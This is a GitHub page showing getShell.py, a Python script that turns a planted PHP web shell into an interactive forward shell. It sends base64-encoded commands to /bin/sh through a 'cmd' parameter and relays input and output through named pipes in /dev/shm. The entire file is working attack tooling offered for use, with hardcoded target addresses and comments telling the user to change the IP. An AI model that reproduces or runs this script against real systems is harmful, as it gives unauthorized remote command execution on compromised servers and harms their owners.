-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgetShell.py
More file actions
91 lines (66 loc) · 1.84 KB
/
getShell.py
File metadata and controls
91 lines (66 loc) · 1.84 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/python3
import requests, sys, threading, signal, time, pdb
from base64 import b64encode
from random import randrange
class allTheReads(object):
def __init__(self, interval=1):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.deamon = True
thread.start()
def run(self):
readOutput = """/bin/cat %s""" % (stdout)
clearOutput = """echo '' > %s""" % (stdout)
while True:
output = runCMD(readOutput)
if output:
runCMD(clearOutput)
print(output)
time.sleep(self.interval)
def sig_handler(sig, frame):
print("\n\n[*] Exiting...\n")
runCMD(eraseStdin, eraseStdout)
sys.exit(0)
signal.signal(signal.SIGINT, sig_handler)
def runCMD(cmd):
cmd = cmd.encode('utf-8')
cmd = b64encode(cmd).decode('utf-8')
payload = {
'cmd' : 'echo "%s" | base64 -d | /bin/sh' % (cmd)
}
# CHANGE IP
result = (requests.get('http://192.168.1.47/shell.php', params=payload, timeout=5).text).strip()
return result
def writeCMD(cmd):
cmd = cmd.encode('utf-8')
cmd = b64encode(cmd).decode('utf-8')
payload = {
'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
}
# CHANGE IP
result = (requests.get('http://127.0.0.1/shell.php', params=payload, timeout=5).text).strip()
return result
def readCMD():
getOutPut = """/bin/cat %s""" % (stdout)
output = runCMD(getOutPut)
return output
def setUpShell():
namedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
try:
runCMD(namedPipes)
except:
None
return None
# Variables
global stdin, stdout
session = randrange(1000, 9999)
stdin = "/dev/shm/input.%s" % session
stdout = "/dev/shm/output.%s" % session
eraseStdin = """/bin/rm %s""" % (stdin)
eraseStdout = """/bin/rm %s""" % (stdout)
setUpShell()
readingTheThings = allTheReads()
while True:
cmd = input("Lautaro >_ ")
writeCMD(cmd + "\n")
time.sleep(1.1)